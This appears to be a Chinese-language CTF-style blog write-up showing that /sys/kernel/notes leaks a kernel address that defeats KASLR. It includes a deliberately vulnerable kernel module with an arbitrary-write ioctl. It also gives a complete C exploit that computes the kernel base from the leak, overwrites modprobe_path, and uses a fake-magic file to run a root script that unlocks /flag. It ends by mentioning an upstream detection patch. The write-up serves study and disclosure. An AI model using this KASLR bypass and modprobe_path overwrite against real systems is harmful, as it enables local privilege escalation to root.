通常我们对内核的攻击都是基于知道内核各种地址的前提下进行的,为了加大攻击内核的难度, kaslr
由此而生,但内核会很容易泄露有关其位置的信息,如大量内核代码乐于在 printk()
调用中打印出内核指针值。 在 大量工作 之后,通过修复内核代码来使用针对指针的特殊格式化指令,并在未设置 kptr_restrict
的情况下拒绝将实际指针值输出到日志中,从而基本解决了这个问题。根据需要还修改了各种 /proc
和 sysfs
文件。随着时间的推移,要想了解特定系统上的内核位置就变得更加困难了,但依然有漏网之鱼可以为我们提供内核的基址 这里的主角是 /sys/kernel/notes
,在谷歌上找到的十分简略的描述:
1 2 3 4 5 What: /sys/kernel/notes Date: July 2009 Contact: <linux-kernel@vger.kernel.org> Description: The /sys/kernel/notes file contains the binary representation of the running vmlinux's .notes section.
该部分是包含内核映像的 ELF
文件的一部分,包含有关映像本身的有用信息;任何内核代码都可以使用 ELFNOTE()
宏将数据添加到此部分。 接下来直接进入实践,环境来自一个 ret2hbp
的 demo
启动内核后输入 hexdump -C /sys/kernel/notes
可以看到这里确实有我们想要的内核地址,为了验证这个地址是否正确,我决定用这个地址来求解这一道题目 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #include "linux/printk.h" #include <linux/cdev.h> #include <linux/fs.h> #include <linux/init.h> #include <linux/kernel.h> #include <linux/miscdevice.h> #include <linux/module.h> #include <linux/slab.h> #include <linux/uaccess.h> MODULE_AUTHOR("veritas" ); MODULE_LICENSE("Dual BSD/GPL" ); static long vuln_ioctl (struct file *file, unsigned int cmd, unsigned long arg) { struct { uint64_t addr; uint64_t val; } u; long ret = 0 ; if (copy_from_user(&u, (void *)arg, sizeof (u))) { return -1 ; } *(uint64_t *)(u.addr) = u.val; return ret; } static struct file_operations vuln_fops = {.owner = THIS_MODULE, .open = NULL , .release = NULL , .read = NULL , .write = NULL , .unlocked_ioctl = vuln_ioctl}; static struct miscdevice vuln_miscdev = { .minor = MISC_DYNAMIC_MINOR, .name = "vuln" , .fops = &vuln_fops}; static int __init vuln_init (void ) { pr_info("vuln: module init.\n" ); misc_register(&vuln_miscdev); return 0 ; } static void __exit vuln_exit (void ) { pr_info("vuln: module exit.\n" ); misc_deregister(&vuln_miscdev); } module_init(vuln_init); module_exit(vuln_exit);
可以看到我们有无数次任意地址写 8
字节的机会,假设上面泄露出来的地址是正确的,我们可以通过修改 modprobe_path
来获取 flag
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sched.h> #include <ctype.h> #include <pthread.h> #include <sys/types.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/shm.h> #include <sys/wait.h> #include <linux/keyctl.h> #include <sys/user.h> #include <sys/ptrace.h> #include <stddef.h> #include <sys/utsname.h> #include <stdbool.h> #include <sys/prctl.h> #include <sys/resource.h> #include <linux/userfaultfd.h> size_t modprobe_path = 0xffffffff82e8b920 ;struct node { size_t addr; size_t vul; }; struct node vuln ;void err_exit (char *msg) { printf ("\033[31m\033[1m[x] Error at: \033[0m%s\n" , msg); sleep(5 ); exit (EXIT_FAILURE); } void info (char *msg) { printf ("\033[32m\033[1m[+] %s\n\033[0m" , msg); } void hexx (char *msg, size_t value) { printf ("\033[32m\033[1m[+] %s: %#lx\n\033[0m" , msg, value); } void binary_dump (char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL ) { printf ("\033[33m[*] %s:\n\033[0m" , desc); } for (int i = 0 ; i < len / 8 ; i += 4 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 4 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 32 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } void bind_core (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); printf ("\033[34m\033[1m[*] Process binded to core \033[0m%d\n" , core); } int fd;void arb_write (size_t addr, size_t vul) { struct node thisNote ; thisNote.addr = addr; thisNote.vul = vul; ioctl(fd, 0 , &thisNote); } int main (int argc, char ** argv, char ** env) { size_t leak, kernel_base; char data[0x200 ]; bind_core(0 ); fd = open("/dev/vuln" ,O_RDONLY); if (fd < 0 ){ err_exit("open device failed!" ); } int note_fd = open("/sys/kernel/notes" , O_RDONLY); read(note_fd, data, 0x100 ); binary_dump("/sys/kernel/notes" , data, 0x100 ); memcpy (&leak, &data[0x84 ], 8 ); hexx("leak" , leak); kernel_base = leak - 0x22961c0 ; hexx("kernel_base" , kernel_base); size_t kernel_offset = kernel_base - 0xffffffff81000000 ; hexx("kernel_offset" , kernel_offset); modprobe_path += kernel_offset; arb_write(modprobe_path, 0x7465672f706d742f ); arb_write(modprobe_path + 8 , 0x6c6c656873 ); puts ("# make fake file magic not found" ); system("echo '#!/bin/sh\nchmod 777 /flag'>/tmp/getshell" ); system("chmod +x /tmp/getshell" ); system("echo -e '\\xff\\xff\\xff\\xff'>/tmp/fake" ); system("chmod +x /tmp/fake" ); system("/tmp/fake" ); puts ("# get flag" ); int flag_fd = open("/flag" ,O_RDONLY); if (flag_fd < 0 ){ err_exit("open flag failed!" ); } read(flag_fd, data, 0x30 ); printf ("[*] flag is %s\n" ,data); return 0 ; }
结果如下:
显然泄露出来的内核地址是可用的。通过调试发现泄露出来的是 startup_xen
的地址
1 2 3 4 5 6 7 8 9 10 11 #ifdef CONFIG_XEN_PV ELFNOTE(Xen, XEN_ELFNOTE_VIRT_BASE, _ASM_PTR __START_KERNEL_map) ELFNOTE(Xen, XEN_ELFNOTE_INIT_P2M, .quad (PUD_SIZE * PTRS_PER_PUD)) ELFNOTE(Xen, XEN_ELFNOTE_ENTRY, _ASM_PTR startup_xen) ELFNOTE(Xen, XEN_ELFNOTE_FEATURES, .ascii "!writable_page_tables" ) ELFNOTE(Xen, XEN_ELFNOTE_PAE_MODE, .asciz "yes" ) ELFNOTE(Xen, XEN_ELFNOTE_L1_MFN_VALID, .quad _PAGE_PRESENT; .quad _PAGE_PRESENT) ELFNOTE(Xen, XEN_ELFNOTE_MOD_START_PFN, .long 1 ) ELFNOTE(Xen, XEN_ELFNOTE_PADDR_OFFSET, _ASM_PTR 0 )
然而 Cook
发布了 leaking_addresses.pl
的补丁。它可以读取内核符号文件(例如 /proc/kallsyms
),并查看与这些符号关联的地址是否出现在 /sys/kernel/notes
这样的二进制文件中。有了此更改之后, leaking_addresses.pl
就会发现这种长期存在的内核地址泄露,但我感觉还是会有漏网之鱼(笑
reference:https://lore.kernel.org/all/202402180028.6DB512C50@keescook/ https://lwn.net/Articles/962782/